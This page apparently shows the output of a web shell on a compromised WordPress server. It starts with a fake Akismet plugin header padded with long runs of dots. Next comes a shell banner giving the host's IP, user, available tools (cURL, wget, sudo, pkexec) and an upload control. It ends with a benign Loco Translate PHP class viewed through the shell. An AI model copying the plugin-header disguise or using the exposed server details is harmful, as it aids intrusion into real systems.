#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/plugins/loco-translate/src/hooks/ |
Upload File : |
<?php
/**
* Hookable objects automatically bind Wordpress filters and actions instance methods.
* - Filter methods take the form `public function filter_{hook}()`
* - Actions methods take the form `public function on_{hook}`
*/
abstract class Loco_hooks_Hookable {
/**
* Registry of tags to be deregistered when object removed from memory
* @var array
*/
private $hooks;
/**
* Constructor register hooks immediately
*/
public function __construct(){
$ref = new ReflectionClass( $this );
$this->hooks = [];
foreach( $ref->getMethods( ReflectionMethod::IS_PUBLIC ) as $method ){
$func = $method->name;
// support filter_{filter_hook} methods
if( 'filter_' === substr($func,0,7) ) {
$hook = substr( $func, 7 );
}
// support on_{action_hook} methods
else if( 'on_' === substr($func,0,3) ) {
$hook = substr( $func, 3 );
}
// support debug_{filter|action_hook} methods only in debug mode
else if( 'debug_' === substr($func,0,6) && loco_debugging() ) {
$hook = substr( $func, 6 );
}
else {
continue;
}
// this goes to 11 so we run after system defaults
$priority = 11;
// support @priority tag in comment block (uncomment if needed)
/*if( ( $docblock = $method->getDocComment() ) && ( $offset = strpos($docblock,'@priority ') ) ){
preg_match( '/^\d+/', substr($docblock,$offset+10), $r ) and
$priority = (int) $r[0];
}*/
$num_args = $method->getNumberOfParameters();
$this->addHook( $hook, $func, $num_args, $priority );
}
}
/**
* Manually append a hook, regardless of whether it's added already
*/
protected function addHook( $hook, $func, $num_args = 0, $priority = 11 ){
// call add_action or add_filter with required arguments and hook is registered
add_filter( $hook, [ $this, $func ], $priority, $num_args );
$this->hooks[] = [ $hook, $func, $priority, $num_args ];
}
/**
* Ensure all hooks in memory are re-attached if they've been removed
*/
protected function reHook(){
if( is_array($this->hooks) ){
foreach( $this->hooks as $r ){
list( $hook, $func, $priority, $num_args ) = $r;
if( ! has_filter($hook,[$this,$func]) ){
add_filter( $hook, [$this,$func], $priority, $num_args );
}
}
}
}
/**
* Deregister active hooks.
* We can't use __destruct because instances persist in WordPress hook registry
*/
public function unhook(){
if( is_array($this->hooks) ){
foreach( $this->hooks as $r ){
remove_filter( $r[0], [$this,$r[1]], $r[2] );
}
}
$this->hooks = null;
}
}